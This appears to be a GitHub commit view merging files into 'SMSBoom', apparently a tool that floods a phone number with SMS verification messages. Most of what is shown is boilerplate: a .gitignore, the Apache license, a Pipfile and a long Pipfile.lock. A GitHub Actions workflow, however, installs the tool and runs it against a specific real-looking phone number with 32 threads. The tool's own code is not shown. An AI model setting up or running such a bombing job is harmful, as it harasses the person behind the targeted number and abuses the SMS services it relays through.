Merge branch 'master' of github.com:weclont/SMSBoom

This commit is contained in:
Weclont
2022-06-05 05:45:57 +08:00
53 changed files with 6365 additions and 0 deletions

29
.github/workflows/run.yaml vendored Executable file
View File

@@ -0,0 +1,29 @@
name: 🚀 Run SMSBoom in Action
# 触发 Action 的条件
on:
# 定时触发 参考 https://docs.github.com/cn/actions/using-workflows/events-that-trigger-workflows#schedule
# schedule:
# - cron: '30 5 * * 1,3'
# - cron: '30 5 * * 2,4'
# 手动触发
workflow_dispatch:
jobs:
build:
runs-on: ubuntu-latest
steps:
# 签出项目代码
- uses: actions/checkout@v3
# 设置 py3.8 环境
- name: 🚀 Set up Python 3.x
uses: actions/setup-python@v3
with:
python-version: '3.8'
- name: 🚀 Run SMSBoom Script
# 此处可以自定义命令行运行参数.替换手机号
run: |
pip3 install -r requirements.txt
python3 smsboom.py run -p 19820294268 -t 32

160
.gitignore vendored Executable file
View File

@@ -0,0 +1,160 @@
# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
*$py.class
# C extensions
*.so
# Distribution / packaging
.Python
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
wheels/
share/python-wheels/
*.egg-info/
.installed.cfg
*.egg
MANIFEST
# PyInstaller
# Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec
# Installer logs
pip-log.txt
pip-delete-this-directory.txt
# Unit test / coverage reports
htmlcov/
.tox/
.nox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
*.py,cover
.hypothesis/
.pytest_cache/
cover/
# Translations
*.mo
*.pot
# Django stuff:
*.log
local_settings.py
db.sqlite3
db.sqlite3-journal
# Flask stuff:
instance/
.webassets-cache
# Scrapy stuff:
.scrapy
# Sphinx documentation
docs/_build/
# PyBuilder
.pybuilder/
target/
# Jupyter Notebook
.ipynb_checkpoints
# IPython
profile_default/
ipython_config.py
# pyenv
# For a library or package, you might want to ignore these files since the code is
# intended to run in multiple environments; otherwise, check them in:
# .python-version
# pipenv
# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
# However, in case of collaboration, if having platform-specific dependencies or dependencies
# having no cross-platform support, pipenv may install dependencies that don't work, or not
# install all needed dependencies.
#Pipfile.lock
# poetry
# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
# This is especially recommended for binary packages to ensure reproducibility, and is more
# commonly ignored for libraries.
# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
#poetry.lock
# pdm
# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control.
#pdm.lock
# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it
# in version control.
# https://pdm.fming.dev/#use-with-ide
.pdm.toml
# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm
__pypackages__/
# Celery stuff
celerybeat-schedule
celerybeat.pid
# SageMath parsed files
*.sage.py
# Environments
.env
.venv
env/
venv/
ENV/
env.bak/
venv.bak/
# Spyder project settings
.spyderproject
.spyproject
# Rope project settings
.ropeproject
# mkdocs documentation
/site
# mypy
.mypy_cache/
.dmypy.json
dmypy.json
# Pyre type checker
.pyre/
# pytype static type analyzer
.pytype/
# Cython debug symbols
cython_debug/
# PyCharm
# JetBrains specific template is maintained in a separate JetBrains.gitignore that can
# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
# and can be added to the global gitignore or merged into this file. For a more nuclear
# option (not recommended) you can uncomment the following to ignore the entire idea folder.
#.idea/

1020
GETAPI.json Executable file

File diff suppressed because it is too large Load Diff

201
LICENSE Executable file
View File

@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding those notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. We also recommend that a
file or class name and description of purpose be included on the
same "printed page" as the copyright notice for easier
identification within third-party archives.
Copyright 2022 WhaleFall
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

20
Pipfile Executable file
View File

@@ -0,0 +1,20 @@
[[source]]
url = "https://pypi.doubanio.com/simple/"
verify_ssl = true
name = "pypi"
[packages]
httpx = "*"
loguru = "*"
click = "*"
pydantic = "*"
[dev-packages]
flask = "*"
flask-admin = "*"
flask-babelex = "*"
flask-sqlalchemy = "*"
celery = "*"
[requires]
python_version = "3.9"

501
Pipfile.lock generated Normal file
View File

@@ -0,0 +1,501 @@
{
"_meta": {
"hash": {
"sha256": "fb2c1138ad23c9534b53f9d26631997f839a84c24b3d576192cdebd0a1edcd47"
},
"pipfile-spec": 6,
"requires": {
"python_version": "3.9"
},
"sources": [
{
"name": "pypi",
"url": "https://pypi.doubanio.com/simple/",
"verify_ssl": true
}
]
},
"default": {
"anyio": {
"hashes": [
"sha256:413adf95f93886e442aea925f3ee43baa5a765a64a0f52c6081894f9992fdd0b",
"sha256:cb29b9c70620506a9a8f87a309591713446953302d7d995344d0d7c6c0c9a7be"
],
"markers": "python_full_version >= '3.6.2'",
"version": "==3.6.1"
},
"certifi": {
"hashes": [
"sha256:78884e7c1d4b00ce3cea67b44566851c4343c120abd683433ce934a68ea58872",
"sha256:d62a0163eb4c2344ac042ab2bdf75399a71a2d8c7d47eac2e2ee91b9d6339569"
],
"version": "==2021.10.8"
},
"charset-normalizer": {
"hashes": [
"sha256:2857e29ff0d34db842cd7ca3230549d1a697f96ee6d3fb071cfa6c7393832597",
"sha256:6881edbebdb17b39b4eaaa821b438bf6eddffb4468cf344f09f89def34a8b1df"
],
"markers": "python_full_version >= '3.5.0'",
"version": "==2.0.12"
},
"click": {
"hashes": [
"sha256:7682dc8afb30297001674575ea00d1814d808d6a36af415a82bd481d37ba7b8e",
"sha256:bb4d8133cb15a609f44e8213d9b391b0809795062913b383c62be0ee95b1db48"
],
"index": "pypi",
"version": "==8.1.3"
},
"h11": {
"hashes": [
"sha256:36a3cb8c0a032f56e2da7084577878a035d3b61d104230d4bd49c0c6b555a9c6",
"sha256:47222cb6067e4a307d535814917cd98fd0a57b6788ce715755fa2b6c28b56042"
],
"markers": "python_version >= '3.6'",
"version": "==0.12.0"
},
"httpcore": {
"hashes": [
"sha256:47d772f754359e56dd9d892d9593b6f9870a37aeb8ba51e9a88b09b3d68cfade",
"sha256:7503ec1c0f559066e7e39bc4003fd2ce023d01cf51793e3c173b864eb456ead1"
],
"markers": "python_version >= '3.6'",
"version": "==0.14.7"
},
"httpx": {
"hashes": [
"sha256:d8e778f76d9bbd46af49e7f062467e3157a5a3d2ae4876a4bbfd8a51ed9c9cb4",
"sha256:e35e83d1d2b9b2a609ef367cc4c1e66fd80b750348b20cc9e19d1952fc2ca3f6"
],
"index": "pypi",
"version": "==0.22.0"
},
"idna": {
"hashes": [
"sha256:84d9dd047ffa80596e0f246e2eab0b391788b0503584e8945f2368256d2735ff",
"sha256:9d643ff0a55b762d5cdb124b8eaa99c66322e2157b69160bc32796e824360e6d"
],
"markers": "python_full_version >= '3.5.0'",
"version": "==3.3"
},
"loguru": {
"hashes": [
"sha256:066bd06758d0a513e9836fd9c6b5a75bfb3fd36841f4b996bc60b547a309d41c",
"sha256:4e2414d534a2ab57573365b3e6d0234dfb1d84b68b7f3b948e6fb743860a77c3"
],
"index": "pypi",
"version": "==0.6.0"
},
"pydantic": {
"hashes": [
"sha256:085ca1de245782e9b46cefcf99deecc67d418737a1fd3f6a4f511344b613a5b3",
"sha256:086254884d10d3ba16da0588604ffdc5aab3f7f09557b998373e885c690dd398",
"sha256:0b6037175234850ffd094ca77bf60fb54b08b5b22bc85865331dd3bda7a02fa1",
"sha256:0fe476769acaa7fcddd17cadd172b156b53546ec3614a4d880e5d29ea5fbce65",
"sha256:1d5278bd9f0eee04a44c712982343103bba63507480bfd2fc2790fa70cd64cf4",
"sha256:2cc6a4cb8a118ffec2ca5fcb47afbacb4f16d0ab8b7350ddea5e8ef7bcc53a16",
"sha256:2ee7e3209db1e468341ef41fe263eb655f67f5c5a76c924044314e139a1103a2",
"sha256:3011b975c973819883842c5ab925a4e4298dffccf7782c55ec3580ed17dc464c",
"sha256:3c3b035103bd4e2e4a28da9da7ef2fa47b00ee4a9cf4f1a735214c1bcd05e0f6",
"sha256:4c68c3bc88dbda2a6805e9a142ce84782d3930f8fdd9655430d8576315ad97ce",
"sha256:574936363cd4b9eed8acdd6b80d0143162f2eb654d96cb3a8ee91d3e64bf4cf9",
"sha256:5a79330f8571faf71bf93667d3ee054609816f10a259a109a0738dac983b23c3",
"sha256:5e48ef4a8b8c066c4a31409d91d7ca372a774d0212da2787c0d32f8045b1e034",
"sha256:6c5b77947b9e85a54848343928b597b4f74fc364b70926b3c4441ff52620640c",
"sha256:742645059757a56ecd886faf4ed2441b9c0cd406079c2b4bee51bcc3fbcd510a",
"sha256:7bdfdadb5994b44bd5579cfa7c9b0e1b0e540c952d56f627eb227851cda9db77",
"sha256:815ddebb2792efd4bba5488bc8fde09c29e8ca3227d27cf1c6990fc830fd292b",
"sha256:8b5ac0f1c83d31b324e57a273da59197c83d1bb18171e512908fe5dc7278a1d6",
"sha256:96f240bce182ca7fe045c76bcebfa0b0534a1bf402ed05914a6f1dadff91877f",
"sha256:a733965f1a2b4090a5238d40d983dcd78f3ecea221c7af1497b845a9709c1721",
"sha256:ab624700dc145aa809e6f3ec93fb8e7d0f99d9023b713f6a953637429b437d37",
"sha256:b2571db88c636d862b35090ccf92bf24004393f85c8870a37f42d9f23d13e032",
"sha256:bbbc94d0c94dd80b3340fc4f04fd4d701f4b038ebad72c39693c794fd3bc2d9d",
"sha256:c0727bda6e38144d464daec31dff936a82917f431d9c39c39c60a26567eae3ed",
"sha256:c556695b699f648c58373b542534308922c46a1cda06ea47bc9ca45ef5b39ae6",
"sha256:c86229333cabaaa8c51cf971496f10318c4734cf7b641f08af0a6fbf17ca3054",
"sha256:c8d7da6f1c1049eefb718d43d99ad73100c958a5367d30b9321b092771e96c25",
"sha256:c8e9dcf1ac499679aceedac7e7ca6d8641f0193c591a2d090282aaf8e9445a46",
"sha256:cb23bcc093697cdea2708baae4f9ba0e972960a835af22560f6ae4e7e47d33f5",
"sha256:d1e4c28f30e767fd07f2ddc6f74f41f034d1dd6bc526cd59e63a82fe8bb9ef4c",
"sha256:d9c9bdb3af48e242838f9f6e6127de9be7063aad17b32215ccc36a09c5cf1070",
"sha256:dee5ef83a76ac31ab0c78c10bd7d5437bfdb6358c95b91f1ba7ff7b76f9996a1",
"sha256:e0896200b6a40197405af18828da49f067c2fa1f821491bc8f5bde241ef3f7d7",
"sha256:f5a64b64ddf4c99fe201ac2724daada8595ada0d102ab96d019c1555c2d6441d",
"sha256:f947352c3434e8b937e3aa8f96f47bdfe6d92779e44bb3f41e4c213ba6a32145"
],
"index": "pypi",
"version": "==1.9.0"
},
"rfc3986": {
"extras": [
"idna2008"
],
"hashes": [
"sha256:270aaf10d87d0d4e095063c65bf3ddbc6ee3d0b226328ce21e036f946e421835",
"sha256:a86d6e1f5b1dc238b218b012df0aa79409667bb209e58da56d0b94704e712a97"
],
"version": "==1.5.0"
},
"sniffio": {
"hashes": [
"sha256:471b71698eac1c2112a40ce2752bb2f4a4814c22a54a3eed3676bc0f5ca9f663",
"sha256:c4666eecec1d3f50960c6bdf61ab7bc350648da6c126e3cf6898d8cd4ddcd3de"
],
"markers": "python_full_version >= '3.5.0'",
"version": "==1.2.0"
},
"typing-extensions": {
"hashes": [
"sha256:6657594ee297170d19f67d55c05852a874e7eb634f4f753dbd667855e07c1708",
"sha256:f1c24655a0da0d1b67f07e17a5e6b2a105894e6824b92096378bb3668ef02376"
],
"markers": "python_version >= '3.7'",
"version": "==4.2.0"
}
},
"develop": {
"amqp": {
"hashes": [
"sha256:2c1b13fecc0893e946c65cbd5f36427861cffa4ea2201d8f6fca22e2a373b5e2",
"sha256:6f0956d2c23d8fa6e7691934d8c3930eadb44972cbbd1a7ae3a520f735d43359"
],
"markers": "python_version >= '3.6'",
"version": "==5.1.1"
},
"babel": {
"hashes": [
"sha256:3f349e85ad3154559ac4930c3918247d319f21910d5ce4b25d439ed8693b98d2",
"sha256:98aeaca086133efb3e1e2aad0396987490c8425929ddbcfe0550184fdc54cd13"
],
"markers": "python_version >= '3.6'",
"version": "==2.10.1"
},
"billiard": {
"hashes": [
"sha256:299de5a8da28a783d51b197d496bef4f1595dd023a93a4f59dde1886ae905547",
"sha256:87103ea78fa6ab4d5c751c4909bcff74617d985de7fa8b672cf8618afd5a875b"
],
"version": "==3.6.4.0"
},
"celery": {
"hashes": [
"sha256:d1398cadf30f576266b34370e28e880306ec55f7a4b6307549b0ae9c15663481",
"sha256:da31f8eae7607b1582e5ee2d3f2d6f58450585afd23379491e3d9229d08102d0"
],
"index": "pypi",
"version": "==5.2.6"
},
"click": {
"hashes": [
"sha256:7682dc8afb30297001674575ea00d1814d808d6a36af415a82bd481d37ba7b8e",
"sha256:bb4d8133cb15a609f44e8213d9b391b0809795062913b383c62be0ee95b1db48"
],
"index": "pypi",
"version": "==8.1.3"
},
"click-didyoumean": {
"hashes": [
"sha256:a0713dc7a1de3f06bc0df5a9567ad19ead2d3d5689b434768a6145bff77c0667",
"sha256:f184f0d851d96b6d29297354ed981b7dd71df7ff500d82fa6d11f0856bee8035"
],
"markers": "python_full_version >= '3.6.2' and python_full_version < '4.0.0'",
"version": "==0.3.0"
},
"click-plugins": {
"hashes": [
"sha256:46ab999744a9d831159c3411bb0c79346d94a444df9a3a3742e9ed63645f264b",
"sha256:5d262006d3222f5057fd81e1623d4443e41dcda5dc815c06b442aa3c02889fc8"
],
"version": "==1.1.1"
},
"click-repl": {
"hashes": [
"sha256:94b3fbbc9406a236f176e0506524b2937e4b23b6f4c0c0b2a0a83f8a64e9194b",
"sha256:cd12f68d745bf6151210790540b4cb064c7b13e571bc64b6957d98d120dacfd8"
],
"version": "==0.2.0"
},
"flask": {
"hashes": [
"sha256:315ded2ddf8a6281567edb27393010fe3406188bafbfe65a3339d5787d89e477",
"sha256:fad5b446feb0d6db6aec0c3184d16a8c1f6c3e464b511649c8918a9be100b4fe"
],
"index": "pypi",
"version": "==2.1.2"
},
"flask-admin": {
"hashes": [
"sha256:424ffc79b7b0dfff051555686ea12e86e48dffacac14beaa319fb4502ac40988"
],
"index": "pypi",
"version": "==1.6.0"
},
"flask-babelex": {
"hashes": [
"sha256:39a59ccee9386a9d52d80b9101224402036aedc2c7873b11deef6e4e21cace27",
"sha256:f744d0557cb04cafed733cfa96e7373b46263d4cf79a2c5988c65085f360d873"
],
"index": "pypi",
"version": "==0.9.4"
},
"flask-sqlalchemy": {
"hashes": [
"sha256:2bda44b43e7cacb15d4e05ff3cc1f8bc97936cc464623424102bfc2c35e95912",
"sha256:f12c3d4cc5cc7fdcc148b9527ea05671718c3ea45d50c7e732cceb33f574b390"
],
"index": "pypi",
"version": "==2.5.1"
},
"greenlet": {
"hashes": [
"sha256:0051c6f1f27cb756ffc0ffbac7d2cd48cb0362ac1736871399a739b2885134d3",
"sha256:00e44c8afdbe5467e4f7b5851be223be68adb4272f44696ee71fe46b7036a711",
"sha256:013d61294b6cd8fe3242932c1c5e36e5d1db2c8afb58606c5a67efce62c1f5fd",
"sha256:049fe7579230e44daef03a259faa24511d10ebfa44f69411d99e6a184fe68073",
"sha256:14d4f3cd4e8b524ae9b8aa567858beed70c392fdec26dbdb0a8a418392e71708",
"sha256:166eac03e48784a6a6e0e5f041cfebb1ab400b394db188c48b3a84737f505b67",
"sha256:17ff94e7a83aa8671a25bf5b59326ec26da379ace2ebc4411d690d80a7fbcf23",
"sha256:1e12bdc622676ce47ae9abbf455c189e442afdde8818d9da983085df6312e7a1",
"sha256:21915eb821a6b3d9d8eefdaf57d6c345b970ad722f856cd71739493ce003ad08",
"sha256:288c6a76705dc54fba69fbcb59904ae4ad768b4c768839b8ca5fdadec6dd8cfd",
"sha256:2bde6792f313f4e918caabc46532aa64aa27a0db05d75b20edfc5c6f46479de2",
"sha256:32ca72bbc673adbcfecb935bb3fb1b74e663d10a4b241aaa2f5a75fe1d1f90aa",
"sha256:356b3576ad078c89a6107caa9c50cc14e98e3a6c4874a37c3e0273e4baf33de8",
"sha256:40b951f601af999a8bf2ce8c71e8aaa4e8c6f78ff8afae7b808aae2dc50d4c40",
"sha256:572e1787d1460da79590bf44304abbc0a2da944ea64ec549188fa84d89bba7ab",
"sha256:58df5c2a0e293bf665a51f8a100d3e9956febfbf1d9aaf8c0677cf70218910c6",
"sha256:64e6175c2e53195278d7388c454e0b30997573f3f4bd63697f88d855f7a6a1fc",
"sha256:7227b47e73dedaa513cdebb98469705ef0d66eb5a1250144468e9c3097d6b59b",
"sha256:7418b6bfc7fe3331541b84bb2141c9baf1ec7132a7ecd9f375912eca810e714e",
"sha256:7cbd7574ce8e138bda9df4efc6bf2ab8572c9aff640d8ecfece1b006b68da963",
"sha256:7ff61ff178250f9bb3cd89752df0f1dd0e27316a8bd1465351652b1b4a4cdfd3",
"sha256:833e1551925ed51e6b44c800e71e77dacd7e49181fdc9ac9a0bf3714d515785d",
"sha256:8639cadfda96737427330a094476d4c7a56ac03de7265622fcf4cfe57c8ae18d",
"sha256:8c5d5b35f789a030ebb95bff352f1d27a93d81069f2adb3182d99882e095cefe",
"sha256:8c790abda465726cfb8bb08bd4ca9a5d0a7bd77c7ac1ca1b839ad823b948ea28",
"sha256:8d2f1fb53a421b410751887eb4ff21386d119ef9cde3797bf5e7ed49fb51a3b3",
"sha256:903bbd302a2378f984aef528f76d4c9b1748f318fe1294961c072bdc7f2ffa3e",
"sha256:93f81b134a165cc17123626ab8da2e30c0455441d4ab5576eed73a64c025b25c",
"sha256:95e69877983ea39b7303570fa6760f81a3eec23d0e3ab2021b7144b94d06202d",
"sha256:9633b3034d3d901f0a46b7939f8c4d64427dfba6bbc5a36b1a67364cf148a1b0",
"sha256:97e5306482182170ade15c4b0d8386ded995a07d7cc2ca8f27958d34d6736497",
"sha256:9f3cba480d3deb69f6ee2c1825060177a22c7826431458c697df88e6aeb3caee",
"sha256:aa5b467f15e78b82257319aebc78dd2915e4c1436c3c0d1ad6f53e47ba6e2713",
"sha256:abb7a75ed8b968f3061327c433a0fbd17b729947b400747c334a9c29a9af6c58",
"sha256:aec52725173bd3a7b56fe91bc56eccb26fbdff1386ef123abb63c84c5b43b63a",
"sha256:b11548073a2213d950c3f671aa88e6f83cda6e2fb97a8b6317b1b5b33d850e06",
"sha256:b1692f7d6bc45e3200844be0dba153612103db241691088626a33ff1f24a0d88",
"sha256:b336501a05e13b616ef81ce329c0e09ac5ed8c732d9ba7e3e983fcc1a9e86965",
"sha256:b8c008de9d0daba7b6666aa5bbfdc23dcd78cafc33997c9b7741ff6353bafb7f",
"sha256:b92e29e58bef6d9cfd340c72b04d74c4b4e9f70c9fa7c78b674d1fec18896dc4",
"sha256:be5f425ff1f5f4b3c1e33ad64ab994eed12fc284a6ea71c5243fd564502ecbe5",
"sha256:dd0b1e9e891f69e7675ba5c92e28b90eaa045f6ab134ffe70b52e948aa175b3c",
"sha256:e30f5ea4ae2346e62cedde8794a56858a67b878dd79f7df76a0767e356b1744a",
"sha256:e6a36bb9474218c7a5b27ae476035497a6990e21d04c279884eb10d9b290f1b1",
"sha256:e859fcb4cbe93504ea18008d1df98dee4f7766db66c435e4882ab35cf70cac43",
"sha256:eb6ea6da4c787111adf40f697b4e58732ee0942b5d3bd8f435277643329ba627",
"sha256:ec8c433b3ab0419100bd45b47c9c8551248a5aee30ca5e9d399a0b57ac04651b",
"sha256:eff9d20417ff9dcb0d25e2defc2574d10b491bf2e693b4e491914738b7908168",
"sha256:f0214eb2a23b85528310dad848ad2ac58e735612929c8072f6093f3585fd342d",
"sha256:f276df9830dba7a333544bd41070e8175762a7ac20350786b322b714b0e654f5",
"sha256:f3acda1924472472ddd60c29e5b9db0cec629fbe3c5c5accb74d6d6d14773478",
"sha256:f70a9e237bb792c7cc7e44c531fd48f5897961701cdaa06cf22fc14965c496cf",
"sha256:f9d29ca8a77117315101425ec7ec2a47a22ccf59f5593378fc4077ac5b754fce",
"sha256:fa877ca7f6b48054f847b61d6fa7bed5cebb663ebc55e018fda12db09dcc664c",
"sha256:fdcec0b8399108577ec290f55551d926d9a1fa6cad45882093a7a07ac5ec147b"
],
"markers": "python_version >= '3' and platform_machine == 'aarch64' or (platform_machine == 'ppc64le' or (platform_machine == 'x86_64' or (platform_machine == 'amd64' or (platform_machine == 'AMD64' or (platform_machine == 'win32' or platform_machine == 'WIN32')))))",
"version": "==1.1.2"
},
"importlib-metadata": {
"hashes": [
"sha256:1208431ca90a8cca1a6b8af391bb53c1a2db74e5d1cef6ddced95d4b2062edc6",
"sha256:ea4c597ebf37142f827b8f39299579e31685c31d3a438b59f469406afd0f2539"
],
"markers": "python_version < '3.10'",
"version": "==4.11.3"
},
"itsdangerous": {
"hashes": [
"sha256:2c2349112351b88699d8d4b6b075022c0808887cb7ad10069318a8b0bc88db44",
"sha256:5dbbc68b317e5e42f327f9021763545dc3fc3bfe22e6deb96aaf1fc38874156a"
],
"markers": "python_version >= '3.7'",
"version": "==2.1.2"
},
"jinja2": {
"hashes": [
"sha256:31351a702a408a9e7595a8fc6150fc3f43bb6bf7e319770cbc0db9df9437e852",
"sha256:6088930bfe239f0e6710546ab9c19c9ef35e29792895fed6e6e31a023a182a61"
],
"markers": "python_version >= '3.7'",
"version": "==3.1.2"
},
"kombu": {
"hashes": [
"sha256:37cee3ee725f94ea8bb173eaab7c1760203ea53bbebae226328600f9d2799610",
"sha256:8b213b24293d3417bcf0d2f5537b7f756079e3ea232a8386dcc89a59fd2361a4"
],
"markers": "python_version >= '3.7'",
"version": "==5.2.4"
},
"markupsafe": {
"hashes": [
"sha256:0212a68688482dc52b2d45013df70d169f542b7394fc744c02a57374a4207003",
"sha256:089cf3dbf0cd6c100f02945abeb18484bd1ee57a079aefd52cffd17fba910b88",
"sha256:10c1bfff05d95783da83491be968e8fe789263689c02724e0c691933c52994f5",
"sha256:33b74d289bd2f5e527beadcaa3f401e0df0a89927c1559c8566c066fa4248ab7",
"sha256:3799351e2336dc91ea70b034983ee71cf2f9533cdff7c14c90ea126bfd95d65a",
"sha256:3ce11ee3f23f79dbd06fb3d63e2f6af7b12db1d46932fe7bd8afa259a5996603",
"sha256:421be9fbf0ffe9ffd7a378aafebbf6f4602d564d34be190fc19a193232fd12b1",
"sha256:43093fb83d8343aac0b1baa75516da6092f58f41200907ef92448ecab8825135",
"sha256:46d00d6cfecdde84d40e572d63735ef81423ad31184100411e6e3388d405e247",
"sha256:4a33dea2b688b3190ee12bd7cfa29d39c9ed176bda40bfa11099a3ce5d3a7ac6",
"sha256:4b9fe39a2ccc108a4accc2676e77da025ce383c108593d65cc909add5c3bd601",
"sha256:56442863ed2b06d19c37f94d999035e15ee982988920e12a5b4ba29b62ad1f77",
"sha256:671cd1187ed5e62818414afe79ed29da836dde67166a9fac6d435873c44fdd02",
"sha256:694deca8d702d5db21ec83983ce0bb4b26a578e71fbdbd4fdcd387daa90e4d5e",
"sha256:6a074d34ee7a5ce3effbc526b7083ec9731bb3cbf921bbe1d3005d4d2bdb3a63",
"sha256:6d0072fea50feec76a4c418096652f2c3238eaa014b2f94aeb1d56a66b41403f",
"sha256:6fbf47b5d3728c6aea2abb0589b5d30459e369baa772e0f37a0320185e87c980",
"sha256:7f91197cc9e48f989d12e4e6fbc46495c446636dfc81b9ccf50bb0ec74b91d4b",
